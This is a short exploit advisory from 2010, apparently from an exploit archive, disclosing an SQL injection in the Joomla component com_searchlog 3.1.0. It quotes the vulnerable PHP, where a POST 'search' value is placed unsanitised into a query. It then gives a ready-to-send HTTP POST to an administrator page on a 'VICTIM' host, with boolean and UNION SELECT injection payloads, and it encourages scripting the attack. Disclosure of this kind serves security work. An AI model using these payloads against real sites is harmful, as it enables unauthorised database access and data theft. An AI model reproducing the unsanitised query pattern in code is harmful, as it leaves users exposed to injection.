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Joomla Component com_searchlog SQL Injection Vulnerability

Posted on 05 June 2010

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Joomla Component com_searchlog SQL Injection Vulnerability
==========================================================

#Exploit Title:     Joomla Component com_searchlog SQL Injection
 
#Date:          05/06/2010
 
#Author:        d0lc3   d0lc3x[at]gmail[dom]com
 
#Software Link:     http://www.kanich.net/radio/site/searchlog/searchlog-download
 
#Version:       3.1.0
 
#Tested on:     Linux ubuntu32 2.6.32-22-generic x64
 
#Summary:
     
 
    Good nights, at this occassion  we have other not-saned POST variable on
    administrator/components/com_searchlog/models/log.php, line 30:
...
$search = $mainframe-&gt;getUserStateFromRequest($option . '.search', 'search', '', 'string');  //wtf!?
$this-&gt;filter_actid = $mainframe-&gt;getUserStateFromRequest($option .'actid','actid',0,'int');
$data-&gt;search = JString::strtolower($search);    //wtf!?
$callbase = JRequest::getInt('callbase', 1);
$newact =JRequest::getString('newact');
$data-&gt;newact = &quot;&quot;;
if ($task==&quot;&quot; and $newact!=&quot;&quot;) {
$data-&gt;newact = $newact;
}if ($task == 'upload' or $task == 'savenew') {
$data-&gt;sort = 'dates';
$limitstart = 0;
}else {
$data-&gt;sort = JRequest::getVar('sort', 'calls');
}if ($data-&gt;search) {
$where[] = &quot;(LOWER( m.call ) LIKE '$data-&gt;search%' OR LOWER( m.call ) LIKE '%/$data-&gt;search%')&quot;; //likely SQLi
...
 
    In order to exploit it, i advice programming script for it :P but if only you want try vuln, to change POST request on HTTP header:
 
http://VICTIM/administrator/index.php?option=com_searchlog&amp;act=log
 
POST /administrator/index.php?option=com_searchlog&amp;act=log HTTP/1.1
Host: VICTIM
Content-Type: application/x-www-form-urlencoded
Content-Length: xxx
search=[SQLi]
&amp;sort=calls&amp;limit=20&amp;limitstart=0&amp;option=com_searchlog&amp;act=log&amp;task=&amp;callbase=1&amp;boxchecked=1&amp;hidemainmenu=0
 
    Where [SQLi] = someLogExisting') and 1=1# =&gt; true
               someLogExisting') and 1=2# =&gt; false
 
    UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8#


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